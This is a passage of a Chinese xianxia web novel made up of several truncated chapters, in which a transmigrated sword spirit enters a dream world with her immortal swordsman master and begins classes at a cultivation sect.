她一路追随着蜻蜓的步伐，一直往前飞，直到底下那些悚然的鸣啸声渐渐消失，四周由灼灼的桃花隐入一片阒然的黑暗。 地上没有了鸣啸的鬼手，只剩下无边无际的黑暗，蜻蜓的步调慢了下来，洛绫化出魂形，也放慢速度，缓缓跟着它前行。 这里实在是太黑了，黑到洛绫什么也看不见，只看得见前方蜻蜓扑闪出的微弱光亮。 走着走着，她便发现这条幽暗之径仿佛没有尽头，她凭借着一起一伏的呼吸确定自身仍然存活。 忽的，蜻蜓停止了前进，在原地飞旋了一下，缓缓落在了什么上面。 洛绫一怔，仔细看去，忽然发现它落处是一只白皙如玉的手。 玉手之下，衣袂苍青如漫山云烟，她愣愣地问道：“剑仙大人？” “是我。” 话音一如既往的清泠如水。 蜻蜓化光沫湮灭，一刹那，长风扬起，漫天桃花纷飞，她耳边再次响起了风声、水声、落花声…… 墨发如缎，长身玉立，没错，是他， 没有一丝一毫的犹豫，洛绫扑上前，将他用力抱住，感受到手中布料与绣纹真实的触感，她这才敢长长吐出一口气：“还好……” 牧沉书身子僵直着，双手不知如何安放，又感到怀中的女孩在隐隐发颤，便并未有所举动，过了好半晌才问道：“害怕吗？” “有点。” “怎么不在原地等我？” “谁知道你那么忙，会不会来找我……”洛绫将头埋得更深了几分，“再晚点我都要被那些邪物给撕碎了。” 17. 十七 《剑灵她整日妖言惑仙》全本免费阅读 一行人来到了眠素真君入睡的寝屋，这是个不大的院落，却有好几处菜圃和花架，圃中韭绿苗青，看得出居住之人的田园雅致。 沈兰因来到门前，手放在门上，正纠结着叩门的说辞，便见牧沉书走到她身畔，她为难道：“师叔，师父最不喜别人在他入睡时打搅，这样做是不是……” 牧沉书抬眸，甚至连没等她话说完，手指一抬便迸开了木门，冲天的罡风四处扬起，沈兰因吓得后退了好几步。 洛绫跟在后方，好奇地打量着屋内，黑黢黢的，伸手不见五指，竟什么也看不见。 牧沉书回头看向四人：“你们与我一同进去便知道发生了什么事了。” 洛绫点点头，跟在牧沉书后头，慢慢吞吞地进了那间屋子，刚踏入门槛，周围一切便瞬息万变，死寂无比，一种熟悉的恐惧感涌了上来，这是在桃花地撞邪时的感觉。 她不自觉停下脚步，前方的牧沉书却以低到只有她能听见的声音道：“我在。” 听到这二字，她悬起的心才终于缓缓放下，剑仙大人在的，他这么厉害，即便再出现成千上万的魔邪，想来也是无碍的。 五人同时踏入结界，进入结界，面前便由田园雅致的小院子变成了一条宽阔的大街，看着像个凡尘城池，但满街的人瞧起来却都有些眼熟。 “这是何处？” 洛绫好奇地四处张望，苏烟“咦”了声：“这坊市规制看起来，不是柳城吗？” 洛绫大概知道柳城是什么地方，书中所写，东宁诸岛之上的六座仙城中聚集着不少修仙世家，柳城便是其中之一的仙城。 “这哪里能是柳城？”裘锦指着来来往往的行人，“这些人穿的衣服，分明是肃风门的练功服！上头的纹饰都一模一样！” 苏烟满头雾水道：“怎么会有这么多肃风门的弟子在柳城？” “罢了，问问路不就成了？” 裘锦拉过一个穿着练功服的路人，“道友，请问这里可是柳城？” “柳城？”路人瞪着眼，“什么柳城？这里是陆城！” 裘锦回头看了看苏烟，她摇摇头，表示对所谓的陆城一无所知。 他复问道：“那你是肃风门的弟子？你怎会跑到这个什么陆城来？” “我是爱凑热闹的某百姓。”那人回道。 “什么？”裘锦皱起眉，“你不是穿着肃风门的练功服吗？” 那路人仿佛根本没听到他的问题，径自喊道：“我是爱凑热闹的某百姓，木家那位赘婿今日竟胆大包天要挑战木家主！我可得去瞧瞧热闹！” 那人挣开裘锦的手，他话音一出，周围响起此起彼伏的说话声。 “吴琅区区赘婿，竟敢挑战返虚境的木家家主？” “我看他是被休出木家后发了疯痴了！” “哈哈，我倒要看看他如何夹着尾巴灰溜溜地滚出木家！” …… 一番嘲讽之声此起彼伏地响了一阵子，便又沉寂下去。 人群再次恢复安静，只是蓦然间不少人凭空消失在了街道上，不一会儿街上便只剩稀稀拉拉的几个人了，那些人亦不说话，只是默默地在街道上走来走去。 洛绫听着那些人的交谈，又想到牧沉书先前所说，忽然有些明白了过来，她再次逮住一个路人问道：“你好，不爱凑热闹的某百姓，你可知吴琅在何处与木家主比试？” “比试在木家演武场。” “那你知道怎么去木家的演武场吗？”洛绫笑着问道。 不爱凑热闹的某百姓回道：“只有爱凑热闹的人才去那儿。” 说罢那路人便松开她的手，继续反复地穿梭在街道之上。 “我都被搞晕了！什么凑不凑热闹的！”苏烟头疼地揉着太阳穴，“还是说，我们要去木家演武场找眠素真君？” 洛绫点头道：“目前看来是这样了，对吧？剑仙大人？” “嗯。”牧沉书颔首，“我们过去，眠素应当就在那里。” “可怎么过去？”苏烟苦着脸，“怎么去凑热闹？我不明白。” “我倒是觉得，用不着明白。”洛绫捏着下巴。 沈兰因在旁双眸一亮：“洛绫的意思是……” “我先试试，若是成功了，你们再跟上来。” 洛绫握拳轻咳两声，忽然大喊道：“吴琅这废柴定然得被木家主凑得满地找牙！” 她话音刚落，忽然感到身形不稳，浑身立即化为一道白光，消隐于众人面前。 * 洛绫过来没多久，其他几人便紧随其后，纷纷来到了木家演武场。 如她所料，要抵达演武场果然需要跟那些爱凑热闹的百姓一样，说些嘲讽“吴琅”之语。 洛绫还不忘好奇地询问沈兰因：“话说剑仙大人说的什么嘲讽之语？” 沈兰因面露难色，支支吾吾。 她便转头去问苏烟和裘锦，二人的神情皆是难以描述，只能朝她沉默着摇摇头。 “有这么劲爆吗？” 洛绫心里的好奇越发被勾上来，可看三人不敢言语半句，也只好暂时强压下去。 她回头看向眼前茫茫的人头，高处一座巨石擂台，两侧矗立着巍峨的盘龙柱，柱上紫光与滚滚云层相勾连，柱身还隐隐流转着雷电的异动。 “好壮观的演武场！”洛绫不禁赞叹。 苏烟却惊讶地指着擂台道：“那不是宗门的磐龙台吗！？” 原来又是肃风门的景观，洛绫不由吐槽了句：“不得不说，眠素真君还是缺乏想象力了点。” “想象力？这是何意思？”苏烟疑惑不解。 沈兰因环顾四周，无论是酷肖磐龙台的演武场，还是底下聚集着的无数凑热闹的“肃风门弟子”，都仿佛在验证一个想法。 她叹了口气，解释道：“洛绫的意思是，这里是师父的梦境。” “啊？”苏烟张大嘴，“咱们跑到眠素真君的梦里了？上修也会做梦吗？” 她灵魂发问，洛绫瞥了眼牧沉书，不由揶揄道：“可不止上修会做梦呢，说不定连真仙都能时不时做噩梦。” “……”牧沉书唇角抽动了一下。 他轻咳一声道:“眠素自然会做梦，他不仅能控制自己的梦境，还能主动创造梦境，编排梦境，这里应当就是他织造出来的一场梦。” “只是师父为何要创造这个梦？”沈兰因十分不解，“这梦瞧着也无甚意思，颠来倒去的。” 牧沉书看向磐龙台，“瞧，意思这不就来了。” 众人往台上瞧去，只见从空中落下一道翩然身影，少年身着一袭白袍，缭乱的发丝亦难以遮掩其俊美的容貌与炯炯的目光。 “师父！？” 沈兰因惊讶地喊出声，洛绫一怔，盯着台上那煞有其事的白衣少年，那副目光坚毅神情决然的模样，想来应当就是传说中的“吴琅”了。 洛绫笑着问道:“沈姑娘，我冒昧问一句，东山书生写的都是什么话本？” 沈兰因犹豫着答道：“我只听闻都是些观感甚，甚妙的故事，在本门男弟子中颇有人气。” 搞了半天这东山书生听着逼格很高，实际上是个写男频爽文的…… 18. 十八 美人图鉴 《剑灵她整日妖言惑仙》全本免费阅读 磐龙台上，木家主还在咕咕哝哝地念叨着什么，龇牙咧嘴，涎水直流，那副不大聪明的模样，简直完美诠释了什么叫做弱智反派。 “哗！” 只听一阵罡风卷过，不大聪明的木家主便被踹飞到了台下。 吴琅望向那突如其来的一道青色身影，高声喊道:“来者何人？竟敢打扰我与木家老贼的比试！” “我姓牧。” “木？你也是木家的走狗！？” 吴琅神色一僵，目光紧紧凝起。 台下洛绫见状算是明白了过来，眠素真君这是沉浸式地体验话本，沉浸到连自己是谁都忘了，只以为自己真是书中的吴琅了。 牧沉书懒懒地瞥了吴琅一眼，“你问我是谁，那你可知道自己是谁？” “你胡言乱语些什么呢？我吴琅自然是行不更名坐不改姓！” 白衣少年不屑一顾。 他话音落罢，青风化刃刹那朝他劈去，吴琅惊叫一声，“哗嚓”，他浑身便被割出无数淋漓的血痕。 台下原本议论纷纷的百姓在这一刻立时犹如凝固，纷纷终止了对话，一个个眼神空洞地望着磐龙台。 很显然，在他们单薄的设定之中，并未存放面对这一突如其来的场景应有的反应。 “这气息，你是何人？”吴琅满头冷汗，“实力竟恐怖如斯！” “忘了？无碍。” 牧沉书化出玄照剑，比划了一下剑鞘，而后看向面前懵懂无知的主角吴琅，向来绷平的唇角流露出深深的笑意。 “我会让你很快回归现实的。” 他飞身来到吴琅面前，剑鞘一抬，“嘭”，一击将吴琅打翻在地。 “你……你要做什么？” 吴琅正欲起身，却发现浑身动弹不得，看着一步步逼近的青衣男子，不由流露出惊恐的神情。 牧沉书再次扬起剑鞘，连一句求饶的时间都不留给吴琅，直将坚硬的剑鞘砸向他的颅顶。 “救命！嗷——” 一下，又一下，听着台上不断传来的“嘭啪哐咚”，简直惨不忍听，画面亦是惨不忍睹。 沈兰因嗫嚅着：“师父……” 苏烟扯了扯裘锦的衣袖，“不是，师父啥时候变得这么暴力了？” “竟将眠素真君打成这样，虽然只是个梦境，未免也太过了……” “人间惨剧啊……” 听着一旁苏烟与裘锦窃窃私语的声音，洛绫咽了咽口水，牧沉书这不会是在之前的幻阵里跟她学的吧？ 嗯，在奇怪的地方让他黑化了那么一丢丢呢。 * 眠素被牧沉书酣畅淋漓地暴打了一顿后，总算清醒了过来，他一醒，梦境离散，所谓陆城与茫茫的人海皆化为乌有。 众人再次回神过来时，便发现都只站在眠素的寝屋之中。 眠素躺在榻上，扶着晕眩的脑袋，好容易睁开双眼，就瞅见床榻前立着的五条人影，一时额头落下大颗汗滴。 他看向自己的弟子，笑呵呵地问道：“兰因……这是做什么，怎这般多的人？” 沈兰因撇过头，一副不愿搭理他的嫌弃神情。 眠素又转过头，一眼瞧见了素昧谋面的白衣少女，“这位小姑娘瞧着面生，是哪位高辈的弟子——” “我的剑灵。” 眠素不自觉顺着声音看去，看到一张熟悉的面庞，就站在床榻不远处，他登时吓得差点瘫在榻上，“牧沉书！？” “怎么？” “我想起来了，你，你在梦里把我打得鬼哭狼嚎！你……” 眠素喊了两声，又连忙拉过牧沉书，侧在他耳畔低声道：“月海，你下回要入我梦也跟我说道两句嘛……我连个心理准备都没有……这么多小辈围着可是不好……” “用不着，我带着她们都去你梦里走了一遭。” “？” 牧沉书歪了歪头，“也就是这些小辈都看到了你在话本里当赘婿，且被我打得鬼哭狼嚎的模样。” 眠素看着牧沉书，牧沉书也看着眠素，过了好半会儿，榻上的真君无声地穿好衣袍，便要往门外走去。 裘锦不禁问道：“真君，你干嘛去？” “找个诛仙台自尽了。” “……” * 仙门一日游以眠素真君的寻死觅活结束，当晚牧沉书带着洛绫回到了剑山，洛绫在桃花地的梦境中受了惊吓，打算好好休息一晚。 不过牧沉书又熬了一些粥，做了两道素菜，端到了她的房间。 “先吃些东西吧，不然我怕以你的肚量，睡到夜中又饿了。” 洛绫接过粥碗，连声道谢：“谢谢剑仙大人！” “今日逛下来，觉得肃风门如何？” “还不错，风景旖旎，鸟语花香，学习氛围浓厚——” 洛绫想到了自己剑中界里藏的两本书，等牧沉书走了便好好学习学习。 “你觉得不错便好，入门的时间已定下了，三日之后，你便正好跟着新入的弟子在书山上第一堂课。” 他话音一落，洛绫张了张嘴，似乎还要辩驳些什么，但看着牧沉书寒水般的黑眸，一时哑口无言。 “小绫儿，不知多少凡人挤破头想当肃风门的弟子，你有何不愿意的？” 洛绫喝了口粥，笑了笑，“我自然是因为去上课就见不到剑仙大人了啊！” 见不到你，我可就没法让你黑化了。 “你倒是油嘴滑舌，怎么和我顶嘴时又是另一个神气了？” “那我想问了，剑仙大人这么厉害，又是写选本，又是三大真仙之一，怎么不去书山教书？这样我就能时时见着您了啊。” “教书？”牧沉书一怔，“我倒是没想过这档子事。” “嗯？门内那么多真君不都在书山指导弟子吗？还是您比较大牌？” “我……”牧沉书双眸微微垂低，“或许是我自知无甚当先生的天分吧。” 洛绫愣了好一会儿，她并不觉得牧沉书教不了那些弟子，毕竟从他写的书和他教导苏烟裘锦的神态看来，他是一位循循善诱的好先生。 但她忽然想起了另一件事，苏烟曾告诉她，牧沉书有位大弟子，不知为何陨落了，也不知他这副失意的神情与那位大弟子有无关系。 她自然没哪壶不开提哪壶，在牧沉书的注视下，她喝完粥，吃完菜，心里还想着白日买的两本书，便笑盈盈地对牧沉书道：“剑仙大人您要不回去歇息吧？我得睡觉了。” “吃了便睡可是不好，好歹出去走两步。” “您一个剑仙，都长生不老了，咋还这么多养生的道理？” “哦，你这是要赶我的意思了。” 牧沉书见洛绫眉目闪烁，虽不知这小家伙心里想什么，但总归不是什么好事。 洛绫笑眯眯道：“怎么会是要赶您走的意思呢？” 牧沉书冷哼了声，并不起身，瞧着也没有要离开的意思。 “行吧，那您就看着我沐浴更衣好了。”洛绫说罢便去扯腰带了，牧沉书见状双目一睁，飞快推门而去。 洛绫看着跑没影了的牧沉书，连忙来到门前，将门关上，从剑中界里取出 19. 十九 NPC的命运 《剑灵她整日妖言惑仙》全本免费阅读 “竹屋闹鬼？” 小月儿将早饭的素粥盛到洛绫碗中，嘟囔道：“绫姑娘，怎么可能？这里可是仙门，哪里有什么鬼魂？” “怎么不可能了？我都连续三晚上听到有女人在我耳边说话了，为什么为什么的问我，连觉都睡不好，我可不是剑仙大人那样的神仙，不睡觉也能活，我得睡觉补充精力啊！” 洛绫打了个大大的哈欠，眼角渗出晶莹的泪珠，“话说剑仙大人呢？一大早怎么又不见了？” “您打听月海大人的下落做什么？” “我现在是他的剑灵，若是离了他方圆十里，可是会魂飞魄散的，我自然要关心他的下落。” 洛绫理所当然地说道，小月儿疑惑地眨眨眼，“魂飞魄散是……” “你方才说什么闹鬼？” 清泠一声响起，洛绫连忙回头，看到身后立着的绿衣少年，连忙放下手中粥碗，“您去做什么了？” “闲着无聊，练完剑便四处走了走。” “您还真是养生。”洛绫恭维着，想起那闹鬼的事情，便续道：“话说，剑仙大人，这几日竹屋老有奇怪的动静，我怀疑这里真是闹鬼了……” 牧沉书颔首道：“或许是不知哪儿的无名幽魂游荡到了剑山，别担心，我今日会抽空去你房间祓濯的。” “似乎是个女鬼，也不知为何缠上了我。” “有道是，平生不做亏心事，夜半不怕鬼敲门。” 牧沉书乜着洛绫，洛绫一怔，却听他续道：“你怕是得想想近来有无做什么亏心事了。” “……” 洛绫想起自己枕头下的两本书，莫非看点不可描述的书册还能被鬼找上门？这鬼未免也太闲着没事干了吧？ 她心虚地摸了摸鼻子。 “今日你便要去书山上课了，东西都收拾好了吗？” 牧沉书摆出一副公事公办的态度，洛绫数着手指，“选本、墨笔、丹炉……都带好了。” “都带好了？” 他抱着双臂，无奈地摇了摇头，“今日有两堂课，一堂开蒙课，一堂炼丹课。” “所以我带了书和丹炉嘛。”洛绫自信满满地回答。 而后，她便感到手上多了一分重量，低头一看，手中竟放着一个小巧的檀木食盒，“这个拿着，两堂课上完，怕是得过了晌午了，找个空隙吃两口饭。” “哦，哦……” 洛绫看着手中的食盒，又看着牧沉书袖上沾着的一点面粉渍，心里仿佛明白了什么，但又并不很确定，她扭捏道：“剑仙大人这是……” “日头晴朗，前几日没和眠素喝成茶，今日得兴打算做些吃食带过去，同他享用享用，这些是顺手给你做的。” 牧沉书淡淡解释道。 “哦——原来如此。”洛绫眨眨眼，“那就谢谢剑仙大人的好意了。” 牧沉书摇头，“无碍，苏烟和裘锦在外等你了，你用完饭就跟着他们去书山吧。” “嗯！” 洛绫仰起头，朝他粲然一笑。 等到洛绫用完饭，将食盒放入剑中界，匆匆离开竹屋，牧沉书才缓慢地拿起筷子，开始用晨食。 小月儿趴在桌边，探出脑袋问：“月海大人今日何时去琴山呢？” “什么琴山？” “您刚刚不是说今日要去找眠素真君……” “那厮道心破碎，还在诛仙台坐着呢，找他作甚？” 小月儿张着嘴，看着优雅用饭的绿衣少年，小小的脸蛋上充满着大大的困惑，嗯？？？ * 洛绫跟着苏烟与裘锦到了书山，因她是新弟子的缘故，也并不与他们在同一处学塾上课。 “这条路叫做勤道，沿着勤道行至山腰处，是我们这些归元及以上境界的弟子上早课的学塾，新弟子上课的学塾则位于山顶——” “你们也要日日上大课？” “大课是看境界而定的，像你们这些筑基、结丹境界的弟子呢，自然是要日日来书山上课修炼，须得度过结丹境以后，才能拜门内真君、子君为师。” 苏烟指着不远处那座朱红色学塾道：“而像我们这些归元境以上，不足返虚境的弟子，便只需按门内安排，大约五六日来上一回早课即可……” “那境界更上一层的弟子呢？” “更上一层？一般返虚境以上都可以擢升子君了，哪还用上什么课？” 苏烟冲她耸耸肩，三人来到山腰处的学塾旁，洛绫见状道：“那你们先去上课吧，我自个儿到山顶去便好。” “好，绫姑娘，那我们就先走了。”裘锦笑着点头。 苏烟连忙道：“那哪儿成？” “哪儿不成？” 裘锦盯着她，用传音术道：师妹，今日可是要上御剑课，你那三脚猫的御剑术还不赶紧多去练习两回？ 苏烟眯起眼，不动声色地抬脚，在裘锦脚尖儿上留下深深的鞋印，后者倒吸一口冷气，“你……” 苏烟甜甜笑着，一把握住洛绫的手，“师父可是跟我吩咐过了，要寸步不离地将你带到学塾前，你对书山人生地不熟的，我可不能让你一个人走。” 洛绫看着她紧紧握住自己的手掌，心里顿时流露出几分暖意，虽然是牧沉书吩咐的，但她多少也能感受到苏烟的真意。 牧沉书这人虽然别的不行，识人能力还是很不错的，比如，他喜欢的人是明艳坚强的光环女主，收的两个弟子又皆是心地纯良之辈。 苏烟裘锦将她送到了山顶的学塾，学塾坐落于一块庞然似飞来的巨石边上，学塾墨瓦白墙，松柏盎然，云蒸霞蔚，一派人间仙境的景象。 洛绫到了学塾后，便与二人道了别。 苏烟与她额外嘱咐了两句后，便也随着裘锦赶着上课去了。 洛绫站在松树下，远远望着黄衣少女与其师兄离去的背影，二人一时争吵，一时嬉闹，她不由笑了笑，笑着笑着，唇角的笑意却又沉落了下来。 事实上，她先前一直刻意不去回忆那些不涉及主线任务的NPC的命运。 不过她很清楚地记得，牧沉书在书中头一回出场时，便是没有所谓的弟子的，书中描述如下—— “月海师叔曾有过两名弟子，一男一女，不过在多年前的一场仙门大比中，二人遭异兽袭击，不幸罹难，从此他便再没收过徒，独自离开肃风门，于五洲六界云游至今。” 仙门大比，异兽袭击…… 上一场仙门大比在二十年前，也即是高岳、裘锦、苏烟误入幽泉剑冢的那回。 20. 二十 关系户 《剑灵她整日妖言惑仙》全本免费阅读 洛绫为自己前景悲哀的同时，不由叹了口气，忽然瞅见一旁的少女绞着衣角，紧张兮兮地道：“我，我叫赵缺缺，从宁城来，今年十六，筑基初期，还，还望您多多指教。” “嗯？指教？我？”洛绫有些意外，但仔细想想，自己也都寿元一百多岁了，指教个十六七八的丫头也很正常。 于是她充满慈爱地点了点头，“缺缺姑娘你好，我是洛绫，自小在中洲长大。” 见她回应，那名为赵缺缺的少女脸颊立刻浮上喜悦之色，一路伴着她走入学塾。 洛绫也不知自己究竟是引发了什么效应，起初只有赵缺缺一人跟着，而后不少女弟子见状也急匆匆地凑了上来，一个个嘘寒问暖，体贴入微。 走入学塾到在席垫上坐下不过几个呼吸的时间，洛绫却发觉自己平添了一堆闺中密友。 她感到自己就像一朵香气冲天的花儿，被一群花蝴蝶簇拥着。 毕竟她是女儿身，起初也只有女弟子敢上前搭话。 不料没过多久，连学塾内的男弟子也围将上来，纷纷把自己带的私藏秘籍与丹药取出，且拍着胸脯，豪气万丈地表示都送给她享用。 这下好了，真彻底成了招蜂引蝶的那朵花儿了。 洛绫不由有些飘飘然。 全程，只有那个墨色抹额的少年，一言不发地坐在角落内闭目养神。 不过，洛绫飘然的同时，也没把理智丢得半点不剩，她本以为作为一个名不正言不顺的关系户，这些新进弟子应当对她颇为鄙视。 不料与她所设想的情况恰恰相反，这是个相当现实的修仙世界，这些弟子也是相当现实的普通修士，他们更愿意恭维奉承她这个关系户。 当然，除了那个系着黑色抹额的少年。 正如苏烟所猜测，开蒙课是那位美名在外的晚颜真君来上的。 开蒙课并无什么实际意义，也只是给新弟子们讲讲肃风门内的修炼体系，门纪门规，有点类似于一场古代版开学典礼。 晚颜真君果真如传说中那样，温柔可亲，说起话来的声音都是婉转滴流，容貌虽称不上绝美，亦是有一股莫名令人舒心的气质在。 洛绫端端正正地跽坐在席垫之上，书案上安放着的双手，也老老实实地叠在一起。 她自然不是在认真听讲，不过洛绫作为自小在义务教育的模式下培育出来的流水线娃娃，很有一套装乖的技巧。 尽管心里早就神游八方了，神色依然没有一丝变化。 起初，洛绫是在思考如何完成支线任务接下来的50%，虽然得知了牧沉书为何被魇妖所缠，她却并不知该如何赶走魇妖。 而后，她又想着要如何继续撮合牧沉书和沈兰因，以保证主线任务的稳步进行，想着想着，却又莫名想到竹屋的女鬼有没有被赶走，终吾村的炸菜粿下午去买不知还有无剩的了，还有，好容易化出人形，要不要去城里逛逛买几件漂亮衣裳…… 想着想着，长达一个多时辰的一堂课，竟然就这么飞速地过去了。 “绫姑娘，您饿了吗？要不要吃我带的点心？” 一旁传来赵缺缺的声音，洛绫转头，看到她从乾坤袋中取出一包云片糕，洛绫接过吃了两块，忽然听到她不悦地道：“赵瑗这家伙，还是这么性格古怪——” 洛绫顺着她的目光看向一旁的书案，果不其然，那名为赵瑗的少年竟然目不转睛地盯着她，见她看去，他这才移开冷冰冰的目光。 “缺缺，你认识他？不对，你和他一个姓氏，他不会是你亲戚吧？”洛绫猜测道。 赵缺缺摇头道：“不算什么亲戚，不过同为宁城赵家一脉罢了，与他并不算很相熟，但他在我们赵家同辈中，倒是颇有名气。” “名气？” “坏名气。”赵缺缺凑到洛绫耳边，低声道：“那家伙素来性子阴鸷，独来独往，得罪了赵家好几位长者，不是仗着天赋好些，还不知要被排挤到哪个边边角角呢。” 洛绫点点头，原来如此，一个奇奇怪怪的阴角。 不过她暂且懒得管赵瑗，刚下了堂课，吃了块云片糕，她果不其然地饿了。 幸好牧沉书准备充分，她从剑中界取出牧沉书给她带的食盒，便打算用饭了。 “咦，绫姑娘你还做了饭呢？” 赵缺缺睁大眼。 “这会儿要晌午了，你们都不带饭，不饿吗？” “修仙之人，常要辟谷，一日两日不吃饭很正常。”赵缺缺笑了笑，“不过倒是没想到绫姑娘作为灵族，对吃食竟如此上心。” “不是我上心，是……” 她本想说牧沉书来着，但想了想，在这里提他并不好，她约莫猜到了几分，这些人恭维她，有99%的因素都是因为牧沉书那个重量级人物，再提他，怕是又要迎来一波热烈的阿谀奉承了。 她闭上嘴，不管那么多了，先吃饭吧。 她打开食盒，里面端端正正地摆着几份菜，香椿煎蛋、茶香虾仁、蟹粉肉丸汤、一碗米饭。 依然是牧沉书的手艺，清淡口的菜肴，洛绫本不算口味清淡的那类人，这些天常吃他做的菜，却是有些吃惯了。 她取出食盒第一层，本以为是没有了，没料到底下还有一层。 这是……一碟栗子酥，栗子酥是灿灿的焦糖色，术法加持下，散发出暖洋洋的甜意。 洛绫在烟锦林时吃过栗子酥，临走时还不忘打包了两块，当然那时她只是觉得好吃，也并不知牧沉书是从哪儿买来的。 她拿起一块栗子酥，咬了一口，酥脆的口感与绝妙的甜度在味蕾上形成了强烈的冲击。 这栗子酥，的确是她吃过的那一口，而且这回做的还要更精致美味些。 “绫姑娘，您这带的点心闻着可真不错啊！” 赵缺缺禁不住吞了吞口水，手里的云片糕顿时不香了。 “是啊，真的很不错。”洛绫往嘴里塞了块栗子酥，满心欢愉地吧唧着，看着咽口水的赵缺缺，“你，你是想吃……？” 赵缺缺听此连忙摇头，“这可不敢。” “也是。”洛绫端起碟子，腮帮子吃得鼓鼓的，“就这么点儿，我也不舍得 21. 二十一 炼丹课 《剑灵她整日妖言惑仙》全本免费阅读 牧沉书进了房，刚踏入房中，便嗅到熟悉的气息，那是她身上独有的淡香，如雨后青芽在枯枝间点点绽开。 他不由脸颊攀上一分灼热，握拳轻咳了一声。 他又不是没进来过，只是没在她不在的时候进来过。 她刚住进来没几天，屋内的陈设还十分简单，几乎没什么变化。 只是衣架上多了几件她换洗的衣物，还有…… 牧沉书连忙撇过头，罢了，不能继续看了，祓濯要紧。 他来到房屋正中，合上双目，清风吹起墨色的发梢，散为缕缕青烟，钻入房屋的每一处角落，细密地寻找着那一丝隐藏的气息。 那股阴气游走得如此诡异，换做寻常修士或许根本难以捕捉其踪迹，但牧沉书堂堂真仙，自然是轻松写意地将其锢住。 他睁开双眼，有些意外，竟真有游魂敢跑到剑山上来。 抬手一勾，青烟携带着那丝阴气飞入他掌心，他轻轻一握，却猛然怔住。 阴气尖锐地鸣啸了一声，而后是暴雨中的村落，染湿的衣襟，还有地上四处横流的血水…… 无数画面袭入他的脑海，最后却只剩一道颤栗的纤细身影。 “师父，别杀我！” 他愣了愣，下一刻，那道阴气却化为一道利刃，划破他的手掌，直插向他的眉心。 “噹——” 阴气鸣啸一声，化为乌有，地上只落了一只碎裂的木簪子。 眠素侧过身，瞪了眼发怔的牧沉书，“找死呢？躲也不躲？得亏我偷溜进来了。” “抱歉。”牧沉书回过神来，缓缓摇头。 眠素低头看了眼地上的木簪，顺手捡起，木簪已然断成了两截，他念道：“这木簪，怕不是先前被哪个修士附着了灵气，这才修炼出了一缕幽魂来……” 见牧沉书没开口，他看了看木簪，思忖一瞬，忽然有些明白了过来。 “这簪子，不会是饮泪留下的吧？” “小绫儿并不用簪子。” 眠素无奈地摇摇头，“都这么多年了，没想到还能见到她留下的物件，可也奇怪，饮泪先前住在烟锦林，怎么会把簪子丢在了竹屋？” 牧沉书不语，眠素见状笑了笑，“怎么不说话？当年的你不是很决绝吗？” “是吗？” “如今的你后悔了？” 牧沉书握紧了手，自掌心滴落的血液，在地面绘出两朵刺眼的红梅。 他抬眸，灵气一动，将眠素手中的木簪泯为灰烬—— “为行天道，斩妖除魔，匡扶正义，何悔之有？” * 洛绫吃过午饭，便要接着上第二堂课了。 第二堂是炼丹课，洛绫本以为还是那位温柔的晚颜真君来指导，没料到随着学塾内一阵沉寂，门口处便走入了一位留着长须，不苟言笑的男子。 “完了，是棣明真君！” 赵缺缺在洛绫身畔低低地哀嚎了两声。 棣明真君的名声竟传遍了整个宗门，连新来的弟子亦不例外，洛绫感到诧异。 长须男子站在学堂正前方，虽留着长须，头顶却是空无一物。 他低头，略微扫视了下方十几位学子，高声道：“今日起，便由吾来负责各位的炼丹课，本堂课旨在提高各位在炼丹术方面的造诣，炼丹术追求精细严谨，容不得半点差错，丑话说在前头，吾治学向来严苛，若有滥竽充数之辈，吾必会上报升仙司，早日将其遣出宗门——” 此话一出，学堂下哗然一片。 “肃静！”棣明真君话音一出，台下立马恢复死一般的沉寂，众弟子皆是不敢妄动。 见此，那棣明真君这才清了嗓子，继续讲课。 洛绫仔细品味着方才棣明真君的一番言语，不容差错、滥竽充数之辈、遣出宗门…… 怎么听，怎么都像是在暗示自己呢？ 她用手遮了半张脸，心虚地翻动着手里的书册。 “请诸位拿出自用丹炉，既是炼丹课，自当以丹炉为核心，若没有好的丹炉，想要炼化出上品的丹药便是痴心妄想——” 洛绫从剑中界取出丹炉，各弟子也纷纷拿出丹炉，大部分弟子皆是世家大族的后人，拿出一个练习用的丹炉自是不在话下。 棣明真君挨个检查了每个弟子的丹炉，确保丹炉强度合规。 他一路走，一路看，来到洛绫的身畔，斜瞄了眼她的丹炉，轻飘飘地道：“麒麟洄，这丹炉……” “怎么……真君，不够好吗？”洛绫干笑着问道。 因洛绫初来乍到，对修炼事宜一知半解，故此丹炉是牧沉书特意为她准备的。 “好得不能再好了，既是名贵，又是炉气温和，极适合新人操控——” 洛绫松了口气。 却听棣明真君不知意味地道：“呵，月海倒是舍得为一个小小剑灵大费周折。” 她看着棣明转身离开的背影，不由在心中嘀咕，小小剑灵怎么了？这不正说明剑仙大人比你心胸宽广多了吗？ 棣明真君走到了那个系着墨色抹额的少年身畔，洛绫忽然听到一旁的赵缺缺轻笑了一声。 那笑声中分明带着一丝蔑然，洛绫低声问她：“怎么了？” “欸，绫姑娘你什么也不用干，与我一同看笑话便好。”赵缺缺得意地扬了扬下巴。 洛绫奇怪着。 棣明真君已然站定在赵瑗身侧，她忽然听见棣明真君冰冷的声音：“这丹炉……连炉气都游离如丝，你也拿得出手？” “请真君放心，丹炉虽破，并不碍弟子修习炼丹术。”少年不慌不忙地回答。 “你倒是口气大，叫什么名字？” “宁城赵瑗。” 棣明冷笑道：“赵瑗？听说灵骨尚可，有伏龙之相，怎么？你是一心要走剑修之道，故此瞧不上炼丹术？” “弟子并无此意。” 棣明微微眯促起眼眸。 洛绫小心翼翼地偷瞄着少年桌上摆放的那练习丹炉，饶是她对炼丹术不知不解，也能看出丹炉的简陋与破败。 她再看看自己的“麒麟洄”，炉身雕花精美，炉气袅袅生烟，与赵瑗的丹炉形成了鲜明的对比…… “并无此意？”棣明绾了绾长袖，“想当年吾入肃风门之时，灵骨龙相比起你还强上三倍，却也不至于如你这般沾沾自喜，自鸣得意，连个丹炉都备不好，还顶撞师长！” 他说罢，一挥袖，便将少年桌上的丹炉挥倒在了地上。 “嘭咚！” 丹炉碎裂为两截，地上升起的灰烟仿佛是那炉子最后的呜咽，少年浑身一震。 “我看你是威风！那正好，你便用你威风的头脑凭空炼丹罢！” 棣明说罢，便转身要继续检查下一个弟子的丹炉，嘴里还碎碎地念着：“小门小户出身的，皆是这副上不了台面的穷酸样……” 洛绫睁大眼，看着面前这一幕， 22. 二十二 可交之友 《剑灵她整日妖言惑仙》全本免费阅读 听了赵瑗一番话，洛绫显得有些沉默，见状，赵瑗抬眸道：“怎么？你不会还真把她当成什么可交之友了吧？” “你的丹炉……是怎么回事？”洛绫没回答他的问题，兀自问道。 